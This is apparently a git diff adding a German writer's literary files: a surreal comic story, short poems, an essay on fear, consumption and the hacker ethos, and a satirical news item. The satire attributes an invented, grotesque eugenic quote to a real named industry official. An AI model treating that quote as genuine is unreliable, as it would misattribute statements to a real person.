15 | "Hab ich ueberhaupt Shorts an?" durchzuckt es mich und ich versuche, so beilaeufig wie moeglich an mir herunterzulinsen, was meinem Antlitz einen gruendlichen Hauch von Debilitaet verleiht. Die Hausfriedensbrecherin zeigt sich von meinem Auftritt komplett unbeeindruckt, was ich zwar als Beleg fuer die rudimentaere Vollstaendigkeit meiner Bekleidung deuten kann, aber ein gewisses Mass Entruestung ueber meinen Aufzug habe ich schon erwartet. "Was gibts?" klaeffe ich in gerade erst erlerntem Tonfall, was mich zumindest kurzfristig wieder Herr der Lage werden laesst und die neugierigen Blicke meinen Korridor hinunter auf mich verlagert. "Paket fuer Sie", scheint sie sich wieder des Grunds der Stoerung zu entsinnen. | ||
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17 | Beim schwungvollen Tuerzuwerfen klemmt ueberraschend ein Postbotinnenschuh zwischen Tuer, gestiefeltem Kater und Rahmen. Hat wohl wehgetan. "Is schlimm?" scheinheilige ich. Einigermassen gefasst in Anbetracht des geknautschten Gesichts sprudelt es ihr heraus: "Ist das da Einstein, der da gegen ihre Wand hoppst, ich wollte schon immer mal ein Autog..." Fuss draussen, Tuer zu. "Irgendetwas hab ich wohl vergessen", bemerk ich erstaunlich gewitzt fuer die Uhrzeit: Tuer auf, "ramm von dem, wissen sie ich hab ja scho", Paket aus der Hand gerissen, "n so viel gelesen von i...", Tuer zu, Ruhe. Zumindest, bis sie sich erinnert, wo die Klingel ausgeloest wird. Ich schau mich kurz um, ob bei Grimm auch beamtenfressende Ungeheuer vorkommen. Ich erinner mich nicht ganz genau, aber da auf ein wirklich lautes "Postbote, FASS!" genau gar nichts passiert, nehm ich eher "nein" an. Und ein zwischen Glocke und Kloeppel gestopftes Tempo hilft auch erstmal. | ||
18 | |||
19 | Das Paket fuehlt sich weich an. "Bitte lass es einfach ne Briefbombe sein", fleh ich, aber "Platiksprengstoffpaketbombe" hoert sich einfach nicht wie aus den Nachrichten an. Missmutig reiss ich das Papier herunter. Koteletts. | ||
20 | |||
21 | Ich versuch mich jetzt muehsam an den gestrigen Abend zu erinnern, finde aber, dass "an alles _nach_ dem Aufstehen erinnern" vollkommen reicht. Also bruell ich "wer hat hier Koteletts bestellt" durch die Wohnung, worauf der boese Wolf angesprungen kommt und es sich mit seinem frisch erbeuteten Fruehstueck in meiner Flugarderobe bequem macht. Auf meine fragenden Blicke schmatzt er bedeutsam zu Rotkaeppchen rueber: "Einstweilige Verfuegung, ich darf nicht naeher als 5 Meter an sie ran. Die hat jetzt n Anwalt." Damit loest sich meine gerade erst gewonnene Idee zur Dezimierung des Brieftraeger- und Maerchenfigurenbestands in Luft auf. "Macht nix", hoffe ich, verwerfe in Anbetracht des Riesen, der sich anschickt, den Wasserhahn leerzuschluerfen, noch schnell den Erfrischungsgedanken und schluerfe nun meinerseits zurueck. | ||
22 | |||
23 | Die Badtuer ist frisch eingetreten und im Inneren beeilen sich der liebe Gott und ein kleiner Eroberer, ihre Bloesse vor einem wuetenden Physiker zu verbergen. | ||
24 | |||
25 | "Klar!", glaub ich und "Bett". Darauf haben sich leider Unmengen an Unterlagen haeuslich eingerichtet, die wohl zu dem gegelten Anwalt gehoeren, der gerade Schneewittchen die Filmrechte abschwatzen will. Gretel ist immer noch dabei, auf die beiden einzureden, dass das mit den Brotkrumen wohl eindeutig ihr Patent sei und Haensel schlaeft. | ||
26 | |||
27 | Ein kurzer Blick verraet mir, dass in den Geranien kein Platz mehr ist. Wenn nicht schon laengst, verinnerliche ich mir, ist _jetzt_ der Moment zum endgueltig wach werden. Ist ja schliesslich auch nicht mehr zum auszuhalten, nicht war? Wird naemlich langsam mal Zeit, dass ich rausfinde, was hier los ist. Und bei dem ganzen Durcheinander ist es auch nicht leicht, nen sinnigen Plot zusammenzustricken. | ||
28 | |||
29 | Ich klatsch mir kurz gegen die Stirn: "na klar, ich mach einfach als auktorialer Erzaehler weiter." Haett ich auch frueher drauf kommen koennen. Ich reisse also - wissend - die Kammertuer auf und da steht, traurig und in sich versunken, Karin, die depressive Zeitmaschine. "Natuerlich"- faellts mir wieder ein, die hab ich gestern in ner Bar aufgegabelt, wo sie unter ihrem Makeup, und vielleicht dem Einfluss einiger Biere, aber noch bedeutend einladender ausgesehen hatte. | ||
30 | |||
31 | "Warst du das hier etwa" herrsche ich sie an, worauf sie schuldbewusst auf ihren Flux-Kompensator schielt. "Ja!" gibt sie kleinlaut zu, "Immer wenn ich verzweifelt bin, schiess ich Persoenlichkeiten aus der Weltgeschichte durch die Zeit, um wenigstens ein bisschen Spass zu haben". "Ich wollte dir keinen Kummer machen." Aber ich bin noch nicht zu frieden. "Du bist eine Zeitmaschine, Maerchenfiguren sind aber keine realen Gestalten, du kannst sie gar nicht hierherbefoerdern" hake ich nach. Daraufhin kann sie auch nur mit den Schultern zucken und meint, dass das dann wohl mein Problem sei. Ich bedeute ihr kurz, zu warten, waehrend ich Schneewittchen auf den Sachverhalt hinweise. Diese antwortet nur "Ist das so?" und mit einem Plopp, den man eigentlich nur aus Situationen irgendwelche Sanitaeranlagen betreffend, kennt, loest sie sich in Luft auf. Und ueberall, wohin ich auch gucke, die ganze Zauberwaldmeute nirvanat sich hinfort. | ||
32 | |||
33 | "Das war ja einfach" - gratulier ich mir, aber so ganz behagt mir nicht, dass der liebe Gott sich auf meiner Flur immernoch mit Napoleon vergnuegt. Ich pflaume da kurz zwischen, dass ich ja wohl Atheist sei und wech ist er. So langsam beginne ich Freude an dem Spiel zu entwickeln und ueberlege mir, wie ich das demnaechst mal gewinnbringend einsetzen sollte, werde aber von einem wuetenden Anwalt und einem sitzengelassenen Feldherren bedraengt. Auch Goethe langweilt sich wieder und will am liebsten nach Hause. Is mir aber herzlich egal. Soll Einsteins Memoiren schreiben. Vorher soll der mir aber noch meine Klotuer wieder einhaengen. Hebelgesetze beherrscht er, muss ich zumindest neidlos anerkennen. Finde aber in Anbetracht der Tatsache, dass sich inziwschen zwischen Dschingis Khan und Stalin ein Faustkampf um das Privileg des grausamsten Herrschers entzuendet hat, das Karin erstmal beruhigt werden muss. Zum Glueck hab ich noch nen Anwalt in meiner Plattensammlung stehen, den ich mit der Aussicht auf ein Freibier auf die bekloppte Zeitmaschine loslassen kann. | ||
34 | |||
35 | Keine Minute spaeter ist die Kammer leer. Ich ueberleg noch schnell, ob ich diese Strategie auch fuer spaetere Dates benutzen koennte, aber irgendwas stimmt immer noch nicht. Findet Che Guevara auch. Klaus, so heisst der Anwalt, huestelt zweimal kurz pikiert und schon ist Karin wieder da, entfernt die verbliebenen Fremdpolitiker aus meinem Zimmer und ist auch gleich schon wieder verschwunden. So ganz ehrlich interessiert mich nicht, wie er sie losgeworden ist, denn er steht noch da. Ich bruell noch hinterher "Und der Jurist!?", aber keine Spur von Karin. Klaus guckt mich nur hinterhaeltig an und meint, er vertraete jetzt meinen neuen Mitbewohner, wobei er hoeflich auf das Muesli zeigt, vorhin haben wir Wahlrecht beantragt, aber alles weitere koennen wir ja bei nem Bier besprechen. | ||
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1 | <!-- | ||
2 | .. title: Milchstraße | ||
3 | .. date: 2007/05/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Des Nachts funkelt nun<br/> | ||
8 | Wie einst das Firmament<br/> | ||
9 | Nur noch der Horizont | ||
10 | |||
11 | Und jeder waermende Schein<br/> | ||
12 | Hier ein einsamer Traum<br/> | ||
13 | Fehlt dort oben | ||
14 | |||
15 | Es ist, als haetten<br/> | ||
16 | Das Feuer der Goetter wir<br/> | ||
17 | Gestohlen, nicht geliehen | ||
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@@ -0,0 +1,27 @@ | |||
1 | <!-- | ||
2 | .. title: (erdgeist I) Mißverständnis | ||
3 | .. date: 2002/12/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Du missverstehst meine Motivation.<br/> | ||
8 | Wohl versteh ich die Freiheit. Voll und<br/> | ||
9 | ganz. Und ich geniesse sie. Und ich<br/> | ||
10 | geniesse deine Freiheit. Und ich will<br/> | ||
11 | sie haben. Und alles, was ich dazu tun<br/> | ||
12 | muss, ist zu warten. Warten, bis mein Freund,<br/> | ||
13 | die Zeit, auch deine, vom Sturmwind der<br/> | ||
14 | Freiheit gegerbte, Seele bei mir an die<br/> | ||
15 | Tuer klopfen laesst.<br/> | ||
16 | Ich wuerde alles tun, um dich zu<br/> | ||
17 | hindern, DEINE Traeume umzusetzen.<br/> | ||
18 | Wenn es fuer mich einen Unterschied<br/> | ||
19 | machen wuerde.<br/> | ||
20 | Ich will nicht, dass du dich bindest.<br/> | ||
21 | Ich will, dass du deinen Weg allein<br/> | ||
22 | gehst, bis alle Kanten geschliffen und<br/> | ||
23 | der Wille gebrochen, das noch<br/> | ||
24 | geschmeidige Fell zersaust und dein<br/> | ||
25 | steter Drang nach Freiheit gebrochen.<br/> | ||
26 | Dann werde ich laechelnd am Ende deines<br/> | ||
27 | Weges sitzen und dir deinen Platz anbieten. | ||
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@@ -0,0 +1,16 @@ | |||
1 | <!-- | ||
2 | .. title: Mistral | ||
3 | .. date: 2002/03/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Dort, wo der Regen frisch den Schwermut<br/> | ||
8 | mit Leichtigkeit auf die Planken wusch,<br/> | ||
9 | und wir versuchten, aneinander Halt<br/> | ||
10 | und Geborgenheit zu finden,<br/> | ||
11 | dort, wo die Gischt die Traurigkeit<br/> | ||
12 | und die Einsamkeit des Meeres<br/> | ||
13 | gegen unsere Brandung warf,<br/> | ||
14 | dort, wo der Nebel mit unseren<br/> | ||
15 | eh schon geblendeten Sinnen spielte.<br/> | ||
16 | Dort verlor ich mich, im Wind. | ||
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@@ -0,0 +1,26 @@ | |||
1 | <!-- | ||
2 | .. title: Mondgöttin | ||
3 | .. date: 2002/09/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Gott und Mond sind fern.<br/> | ||
8 | So wie du, als du mich voellig<br/> | ||
9 | unverhofft an der Hand nahmst<br/> | ||
10 | um mir das heimlich hinter<br/> | ||
11 | der Welt versteckte Laecheln<br/> | ||
12 | der Sonne zu zeigen.<br/> | ||
13 | Licht und Du sind mir nun nah,<br/> | ||
14 | aber noch fehlt mir die Kraft,<br/> | ||
15 | den Blick wieder zur Erde<br/> | ||
16 | zu erheben und ich gebe mich<br/> | ||
17 | dem Rausch der Strahlen hin,<br/> | ||
18 | in die du getaucht vor mir<br/> | ||
19 | Mond und Sonne und Gott und<br/> | ||
20 | die Welt vergessen machst.<br/> | ||
21 | Und doch! Klein zwischen den<br/> | ||
22 | Gestirnen, mit denen du wie<br/> | ||
23 | selbstverstaendlich spielst,<br/> | ||
24 | halte ich tapfer mein Licht,<br/> | ||
25 | dein Leben zu beleuchten, um<br/> | ||
26 | dich nie wieder zu verlieren. | ||
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@@ -0,0 +1,20 @@ | |||
1 | <!-- | ||
2 | .. title: Nachts | ||
3 | .. date: 2002/05/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Dunkelheit truebt die Sinne.<br/> | ||
8 | Doch als ich, mehr unbeholfen<br/> | ||
9 | denn planvoll, in deine Naehe<br/> | ||
10 | stolperte, da erst nahm ich<br/> | ||
11 | das Strahlen wahr, das mich<br/> | ||
12 | wahrscheinlich zu dir fuehrte.<br/> | ||
13 | Und wenn ich nun hier, so nah<br/> | ||
14 | bei dir und doch himmelweit<br/> | ||
15 | entfernt, meinen Platz fand,<br/> | ||
16 | so faellt es mir immer schwerer,<br/> | ||
17 | daran zu glauben, ich sei noch<br/> | ||
18 | Herr meiner eigenen Sinne.<br/> | ||
19 | Das, allerdings, mag an der<br/> | ||
20 | Nacht liegen. | ||
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@@ -0,0 +1,8 @@ | |||
1 | <HTML><HEAD></HEAD><BODY> Fear, Uncertainty, Consumption, Knowledge. | ||
2 | Wir haben vor allem Moeglichen Angst. Ist ja auch nur zu natuerlich. Bei allem was man immer so liest und hoert. Es ist eine schreckliche Welt da draussen und das Einzige, was uns noch retten kann, ist: viel Geld auszugeben. Was es genau ist, das uns Angst machen muss? Das ist von Fall zu Fall natuerlich unterschiedlich. Aber generell sind es zwei Dinge, die sie verursachen: Unwissenheit und Unsicherheit. Und es gibt genug Leute, die von deiner Angst leben: Politiker, Polizisten, Anwälte, Versicherungsverteter, Potenzpillenhersteller, die Presse, die Ruestungsindustrie, sogar Greenpeace. Also gibt es auch ein vitales Interesse, dir deine schoene Angst nicht wegzunehmen. Man sehe sich nur die RTL-Abendnachrichten an und spiele ein kleines Spiel: versucht einmal, jeden Beitrag in eine der beiden Kategorien Angst oder Konsum einzuordnen. Und dann sagt, wo es die idyllischeren Bilder zu sehen gibt. Und wieviel Hintergrundinformationen vermittelt wurden. Dann schaue man sich die darauffolgende Soap an und sage, welche Gestalten gemeinhin als Sympathietraeger oder Identifikationsfiguren propagiert werden. Wissen und Intelligenz ist nicht schick, Erfolg nicht mehr Ergebnis von Fleiss. Dass gerade bei der Bildung gespart wird, wenn es nicht um die Elite geht, mag Zufall sein. Der Trend jedoch ist erkennbar: weg vom muendigen Bildungsbuerger, hin zum modernen Konsumbuerger mit all seinen pflegebeduerftigen Aengsten. | ||
3 | Was uns das als Hacker interessieren muss, die wir doch groesstenteils reflektierte, nicht vom Konsum verblendete Heroen sind? Wir sind das prototypische Feindbild des Konsums. Wir schliessen uns meist nicht der Finanzelite an und versuchen nicht einmal, eine berechenbare Gegenelite zu bilden. Unser erklaertes Ziel ist es, Herrschaftswissen zu nehmen und dem Beherrschten zugaenglich zu machen, zudem sein privates Wissen vor der zentralen Erfassung zu schuetzen. Hoechste Zeit, dem Hacker ein bedrohliches Image zu verpassen und am besten noch mit dieser neuen Angst Geld verdienen. Hier eine proprietaere Virenscan-Software, dort eine closed-source Firewall, und natuerlich im Fernsehn neben den Boesen, die Bomben auf Unschuldige werfen, der Hacker, der sich deine Festplatte zum Ziel genommen hat, so zwischen Ueberschwemmung, Lebensmittelvergiftungen und der Werbung. Da, wo die Komplexitaet des Systems das Verstaendnis sprengt und darueber hinaus magische, fast religioese Grenzen ankratzt, findet auch leicht die Ueberhoehung des Hackers ins Diabolische statt. | ||
4 | Aber auch wenn man die Angst durch Bildung bekämpft, bleibt sie nominal oft gleich: Denn hier fuehrt Beseitigung der Unwissenheit, zu einer Zunahme der eigenen Unsicherheit - die zweite Quelle der Angst. Wem zum Beispiel vertrauen wir denn in letzter Zeit unser Weltwissen an? Wir vertrauen darauf, dass in einem Prozessor, dessen Leiterbahnen wir mit blossem Augen nicht mehr erkennen koennen, sich Elektronen in gerade der richtigen Anzahl an den richtigen Stellen zusammensammeln, um bestimmte Schwellenwerte zu unter- oder ueberschreiten. Im Optimalfall kommt dabei die gewuenschte Transformation der Daten heraus. Die Ergebnisse werden in Abermilliarden schnell fluechtiger Rueckkopplungsgattern (ueblicherweise Speicher genannt) abgelegt. Was aufhebenswert erscheint, wird als mikroskopisch kleine Magnetisierungsinseln auf schnell rotierenden Metallscheiben gebannt, staendig auf der Furcht vor externen Magnetfeldern. Und wenn wir ernsthaft an das Konservieren fuer spaeter denken, benutzen wir extrem lichtempfindliche Billigstkunststoffscheiben, in die wir mit starken Lampen Loecher brennen, spaeter mit weniger starken Lampen wieder abtasten, nur um die Daten wenig spaeter dem selben Zyklus zu unterwerfen. (Wie lichtempfindlich die Scheiben sind, kann man im Experiment mit einer ueber den Sommer ins Fenster gehangenen CD selbst nachvollziehen) Alles in allem wohl ein unglaublich fragiler Ablauf, der nur mit Redundanz und dem kontinuierlichen Kopieren und Vergleichen der Daten mit den Zweit- und Drittkopien in stabilen Bahnen zu halten ist. (Versucht doch mal, eine Diskette von vor mehr als 7 Jahren zu lesen. Solltet ihr durch Zufall noch die passenden Laufwerke haben, ist die Wahrscheinlichkeit der Datenintegritaet wohl eher gering). | ||
5 | Das bewaehrte Konzept der menschenlesbaren Papierkopie wird mehr und mehr zurueckgedraengt, zumindest fuer die breite Masse, sie laesst sich zu schwer regulieren. Wissen ist (neben dem politischen) auch ein wirtschaftlicher Vorteil, Information Wirtschaftsgut. Oeffentliche Bibliotheken sind finanziell so schlecht ausgestattet, wie schon lange nicht mehr, Tendenz fallend. Aber auch im Elektronischen, wo die Regulierung des Kopierens mittels Kontrolle ueber das Kopiergeraet demnaechst leichter fallen soll, sind die Bewegungen in Richtung Informationsverknappung und Mehrfachverkauf deutlich zu erkennen. Dabei geht es mir nicht primaer um mp3s und Hollywoodschinken. Bald wird gar das private Pressearchiv urheberrechtlich bedenklich. An zentraler Stelle bleibt die Information natuerlich fuer Geld weiter verfuegbar. Ob aber morgen in der selben Zeitung noch das selbe steht, wie heute, ist fraglich. Dabei muss man nicht gleich mit Orwell argumentieren, eine einstweilige Verfuegung bei genuegendem politischen/wirtschaftlichen/staatssicherheitstechnischen Interesse ist durchaus im Rahmen des aktuell Wahrscheinlichen. | ||
6 | Selbst Suchmaschinen, respektive deren Caches, haben sich zuletzt nicht als zuverlässig-objektive Archive gegen den Willen der von den Informationen Tangierten erwiesen. Eine dezentrale Informations- Vorratshaltung und -Aufbereitung kostet aber Geld. (Man schaue sich nur die Unordnung in der privaten mp3-Sammlung an. Dann stelle man sich vor, wie die aussaehe, wenn irgendeine bezahlte Kraft den ganzen Tag nichts anderes zu tun haette, als die zu pflegen und erweitern.) Doch wo strukturiertes und damit erst zugängliches Wissen viel Geld kostet, muss sich die Akquisition/Aufbereitung auch finanziell lohnen. Sonst bleibt es Luxus, den man sich erst einmal leisten koennen muss. Aber aufgepasst: Viel zu schnell droht einem dabei selber der Abrutsch in die Klauen der Finanzeliten, die einen in ihre Unterabteilung Wissenselite einsortieren. Beispiel OpenSource-Projekte: sogar hier findet man das gesamte Muster Fear, Uncertainty, Consumption wieder. Was bleibt, wenn man etwa fuer eine Textverarbeitung auf proprietaere Datenformate angewiesen ist, reverse engineering verboten ist? Legal nur noch der Zukauf der Information, was bei einem kostenlosen OpenSource-Programm schlicht nicht finanzierbar ist. Und selbst wenn bleibt beim potentiellen Benutzer (der auch vom Hersteller der kommerziellen Software gern gepflegte) Rest Unsicherheit, die Angst, die dann nur noch durch Konsum - Kauf der SW - besiegbar scheint. | ||
7 | Wuerde man mich nach dem Konsum dieses Textes nach einer Moral fragen, wuerde ich sicher aus den Zielen des CCC zitieren. Dezentrale, oeffentlich zugaengliche Verwaltung aller oeffentlichen Informationen statt einem Verbot des Publizierens. Ansonten: selber denken! | ||
8 | </BODY></HTML> | ||
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@@ -0,0 +1,32 @@ | |||
1 | <!-- | ||
2 | .. title: Perfektion | ||
3 | .. date: 2006/01/02 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Gibt es Perfektion, fragst du.<br/> | ||
8 | Und stehst doch vor mir<br/> | ||
9 | selber schon, so perfekt<br/> | ||
10 | |||
11 | Gibt es Schönheit, fragst du.<br/> | ||
12 | Mit deinem Lächeln, deiner Haut,<br/> | ||
13 | deinen Augen, deinen Haaren,<br/> | ||
14 | mit denen du und die Welt und<br/> | ||
15 | mein Leben als das Schönste erscheint.<br/> | ||
16 | |||
17 | Gibt es Harmonie, fragst du.<br/> | ||
18 | Als zusammen wir den Lauf der Dinge<br/> | ||
19 | eng umschlungen im Geist und Körper<br/> | ||
20 | an uns vorbei nicht wahr haben wollten.<br/> | ||
21 | |||
22 | Gibt es Wahrheit, fragst du.<br/> | ||
23 | Und bedeutest am Ende doch<br/> | ||
24 | das Einzige, was bleibt.<br/> | ||
25 | Als Antwort auf nie gestellte Fragen.<br/> | ||
26 | |||
27 | Aber deine wahre Perfektion<br/> | ||
28 | machen all deine Fehler erst,<br/> | ||
29 | dein ungeschminktes Lachen,<br/> | ||
30 | feurige böse Augen im Streit.<br/> | ||
31 | Und die Gewissheit, dass alles<br/> | ||
32 | Wahre im Leben farblos ist. | ||
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@@ -0,0 +1,33 @@ | |||
1 | <!-- | ||
2 | .. title: Schneebilder | ||
3 | .. date: 2006/01/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Vor uns liegt<br/> | ||
8 | wie von eisiger Decke,<br/> | ||
9 | der Platz, sanft gebettet.<br/> | ||
10 | Ganz ruhig noch,<br/> | ||
11 | im warmen Lichte<br/> | ||
12 | der Stadt.<br/> | ||
13 | |||
14 | Unter uns summen<br/> | ||
15 | wie ein heimlicher Chor,<br/> | ||
16 | die Flocken, matt knirschend.<br/> | ||
17 | Voll knisternder Spannung,<br/> | ||
18 | im warmen Rauschen<br/> | ||
19 | der Stadt.<br/> | ||
20 | |||
21 | Um uns fliegen<br/> | ||
22 | wie von feuriger Hand,<br/> | ||
23 | die Bälle, wild pfeifend.<br/> | ||
24 | Voll Freude am Leben,<br/> | ||
25 | im warmen Herzen<br/> | ||
26 | der Stadt.<br/> | ||
27 | |||
28 | Hinter uns verlieren<br/> | ||
29 | wie des Atems Hauch<br/> | ||
30 | unsere Schritte, sich still.<br/> | ||
31 | Und langsam nur<br/> | ||
32 | im warmen Schnee<br/> | ||
33 | der Stadt.<br/> | ||
diff --git a/stories/poetry/seelenkratzer.md b/stories/poetry/seelenkratzer.md new file mode 100644 index 0000000..779d228 --- /dev/null +++ b/stories/poetry/seelenkratzer.md | |||
@@ -0,0 +1,17 @@ | |||
1 | <!-- | ||
2 | .. title: Seelenkratzer | ||
3 | .. date: 2004/08/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Wir gaffen von den viel zu glatten Klippen<br/> | ||
8 | und aus den uns ausgesparten Hoehlen<br/> | ||
9 | die falschen Schluchten in die toten Taeler hinab,<br/> | ||
10 | die wir glauben, uns selbst in der Landschaft,<br/> | ||
11 | zum Durchwandern und sich Treffen,<br/> | ||
12 | geschaffen zu haben.<br/> | ||
13 | Doch - kaum regt dort sich Leben,<br/> | ||
14 | nehmen wir reissaus,<br/> | ||
15 | verstecken uns voreinander und<br/> | ||
16 | lindern, in Sicherheit, diesen Schmerz<br/> | ||
17 | mit knallbunten Bildern. | ||
diff --git a/stories/poetry/seemann.md b/stories/poetry/seemann.md new file mode 100644 index 0000000..1902278 --- /dev/null +++ b/stories/poetry/seemann.md | |||
@@ -0,0 +1,71 @@ | |||
1 | <!-- | ||
2 | .. title: Seemann | ||
3 | .. date: 2000/08/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Nanana, mal nicht so schnell, wo wollen sie denn hin? - | ||
8 | |||
9 | Schnellstmöglich runter hier von diesem ... Boot? - | ||
10 | |||
11 | Das sehe ich, daraus wird aber nichts mehr, wir legen nämlich gleich ab, seien sie bitte vernünftig, bleiben sie an Bord! - | ||
12 | |||
13 | Das werden wir noch sehen... wohin fahren sie denn überhaupt? - | ||
14 | |||
15 | Sollten sie das nicht wissen, sie haben doch schließlich gebucht? - | ||
16 | |||
17 | Nein, ich habe gar nichts gebucht, wie kommen sie... - | ||
18 | |||
19 | Ist das hier ihr Name auf der Liste? - | ||
20 | |||
21 | Ja schon, aber... - | ||
22 | |||
23 | Na, sehen sie! Und wer bucht, kommt auch mit, oder glauben sie, wegen ihnen weren wir unseren ganzen Plan um? - | ||
24 | |||
25 | Mhh, wie lang dauert, ich meine, wann werden... - | ||
26 | |||
27 | Das weiß keiner. Mal länger, mal weniger lang, das hängt ja sehr von der Route ab, und der Planung natürlich. Sie allerdings scheinen ja nicht sonderlich gut vorbereitet zu sein. - | ||
28 | |||
29 | Vorbereitung! Ich finde mich hier plötzlich und unvorbereitet... dabei fällt mir ein: was soll die ... Überfahrt?... eigentlich kosten? - | ||
30 | |||
31 | Ach, darüber brauchen sie sich keine Sorgen zu machen, das ist alles schon geregelt. - | ||
32 | |||
33 | Nun sagen sie es schon! - | ||
34 | |||
35 | Warum wollen sie das denn unbedingt wissen? - | ||
36 | |||
37 | Es interessiert mich halt, los, also wieviel? - | ||
38 | |||
39 | ... Alles. - | ||
40 | |||
41 | Wie, alles? - | ||
42 | |||
43 | Na, ALLES. - | ||
44 | |||
45 | Sie meinen alles, was ich im Laufe... - | ||
46 | |||
47 | Genau! Aber wie gesagt, sie brauchen sich um nicts mehr kümmern, es ist alles schon erledigt, kommen sie dann bitte wieder her? - | ||
48 | |||
49 | Einen Moment noch welche Plätze werden..., ich meine sind denn gebucht? - | ||
50 | |||
51 | Das hängt voll und ganz vom jeweiligen Passagier ab. - | ||
52 | |||
53 | Sie meinen wohl, daß alles, was ich während... - | ||
54 | |||
55 | Ja, zum Teufel!... Entschuldigen sie, ich habe es jetzt ein wenig eilig - | ||
56 | |||
57 | Das ist doch aber reichlich unfair, wieso erfahre ich das erst jetzt? - | ||
58 | |||
59 | Wurde ihnen das denn nicht gesagt? - | ||
60 | |||
61 | Mhh, ich denke... ich sehe, das tut wohl JETZT nichts mehr zur Sache. - | ||
62 | |||
63 | ... - | ||
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65 | Wieviele Rettungsboote haben wir denn mir? Reichen die denn für alle... wieviele Passagiere fahren denn so mit? - | ||
66 | |||
67 | Rettungsboote, ha, wozu? Wohin retten? Eigentlich sind sie doch alle scho... ähm, entschuldigen sie bitte... Passagiere... na alle! - | ||
68 | |||
69 | Wie... ach, eigentlich wundert es mich gar nicht mehr, gibt es denn überhaupt etwas Positives zu sagen? - | ||
70 | |||
71 | Ich würde ihnen ja gerne etwas versprechen... vielleicht: Chancen über Chancen... sie könn... halt, HALT! Warten sie, anhalten... Idiot! | ||
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@@ -0,0 +1,40 @@ | |||
1 | <!-- | ||
2 | .. title: Träumerei | ||
3 | .. date: 2001/08/02 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Dies ist keine Welt fuer Traeumer.<br/> | ||
8 | Kaum reckt man seinen Kopf<br/> | ||
9 | Um die Geheimnisse der Welt<br/> | ||
10 | zu entdecken und<br/> | ||
11 | ihre Schoenheit zu begreifen,<br/> | ||
12 | kaum glaubt man,<br/> | ||
13 | verstanden zu haben, wozu<br/> | ||
14 | man da ist und fuer wen,<br/> | ||
15 | kaum ist man aus den<br/> | ||
16 | Kinderschuhen hinausgewachsen,<br/> | ||
17 | um in irgendwelche unsaeglichen<br/> | ||
18 | Fussstapfen hineinwachsen<br/> | ||
19 | zu sollen,<br/> | ||
20 | kaum, dass man sich so<br/> | ||
21 | einigermassen eingerichtet<br/> | ||
22 | hat, in seinem Leben, so<br/> | ||
23 | wie es alle machen und<br/> | ||
24 | kaum, dass man glaubt DOCH<br/> | ||
25 | etwas Besonderes zu sein,<br/> | ||
26 | kommt diese verdammte<br/> | ||
27 | Realitaet vorbei, reisst<br/> | ||
28 | dir mit Gewalt die Augen auf<br/> | ||
29 | und dich mit in den Strudel<br/> | ||
30 | des Lebens fernab jeglicher<br/> | ||
31 | Traeume und Plaene, die du<br/> | ||
32 | dir zurechtgelegt und bewahrt<br/> | ||
33 | hast in deiner Schatzkiste.<br/> | ||
34 | Und alles, was du dir bewahren<br/> | ||
35 | kannst, ist die Hoffnung,<br/> | ||
36 | dass da irgendjemand<br/> | ||
37 | auf der Suche danach ist.<br/> | ||
38 | Doch leider haben nur Traeumer<br/> | ||
39 | den Schluessel dafuer.<br/> | ||
40 | Wirf ihn nicht weg! | ||
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@@ -0,0 +1,15 @@ | |||
1 | <!-- | ||
2 | .. title: Kinder Tscheljabinsks | ||
3 | .. date: 2001/09/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | In letzter Zeit erreichten die Redaktion Bilder von Kindern aus Tscheljabinsk. | ||
8 | |||
9 | Dort hatte die Deutsche Industrielobby zuletzt versucht, ihren Atommüll endzulagern. | ||
10 | |||
11 | Konfrontiert mit Bildern von Kindern mit zum Teil mehr als drei Armen und lumineszierenden Augen, gab sich Dr. Michael Rogowski vom Bundesverband der Deutschen Industrie e.V. (BDI) euphorisch: | ||
12 | |||
13 | "Das ist zwar alles schon sehr schön, aber wohl doch nur ein Anfang. Für Zuwanderer aus dem Ausland mit außergewöhnlichen Fähigkeiten sehen die Arbeitsmarktchancen in Deutschland durchweg positiv aus. | ||
14 | |||
15 | Allerdings sollte in näherer Zukunft die Ausbeute noch erhöht werden. Biodesignkatalysatoren hat die deutsche Atomindustrie in ausreichenden Mengen, vorstellbar hier wären Abkommen zum beiderseitigen Nutzen, z.B. mit der Regierung von China. Dort alle Bürger mit 0.1g Gebraucht-Uran zu versorgen, das sie an fortpflanzungstechnisch wertvoller Stelle bei sich führen sollen, würde einen Absatz von 120 Tonnen gebrauchter Brennstäbe bedeuten, eine enorme Herausforderung für uns. Gingen wir von 50 prozentiger Infertilitätrate aus, wäre für die chinesische Regierung im Kampf gegen das Bevölkerungswachstum Enormes geleistet. Nach der dritten Brut sollte doch die Wahrscheinlichkeit gross genug sein, dass aus 1,2 Milliarden Einheiten genetischer Durchschnittsmasse bei mindestens 600 eine nützliche Mutation auftritt. Durch weiteres Auskreuzen könnte der Deutschen Industrie schon in 50 Jahren ein Heer biooptimierter Arbeitskräfte zur Verfügung stehen." | ||
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@@ -0,0 +1,14 @@ | |||
1 | <!-- | ||
2 | .. title: Urlaubsgrüße | ||
3 | .. date: 2010/07/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Schaust übers Meer und Gischt umspült dein Bein,<br/> | ||
8 | und es ist, als lockt es dich mit jeder Welle,<br/> | ||
9 | die voll Neugier dich umschmeichelt, tiefer noch<br/> | ||
10 | im Sand zum Strand ins Salz zum Wasser weit und frei<br/> | ||
11 | zum Horizont in die Weite, in die Leere, sanft hinein,<br/> | ||
12 | und doch verweilt dein Fuß an der immer gleichen Stelle,<br/> | ||
13 | und du sinkst im Schwung um Schwung gespülten Loch<br/> | ||
14 | und das Meer zieht bis zur Flut zum Land an dir vorbei. | ||
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@@ -0,0 +1,35 @@ | |||
1 | <!-- | ||
2 | .. title: vchat | ||
3 | .. date: 2002/02/02 | ||
4 | .. tags: poetry | ||
5 | --> | ||
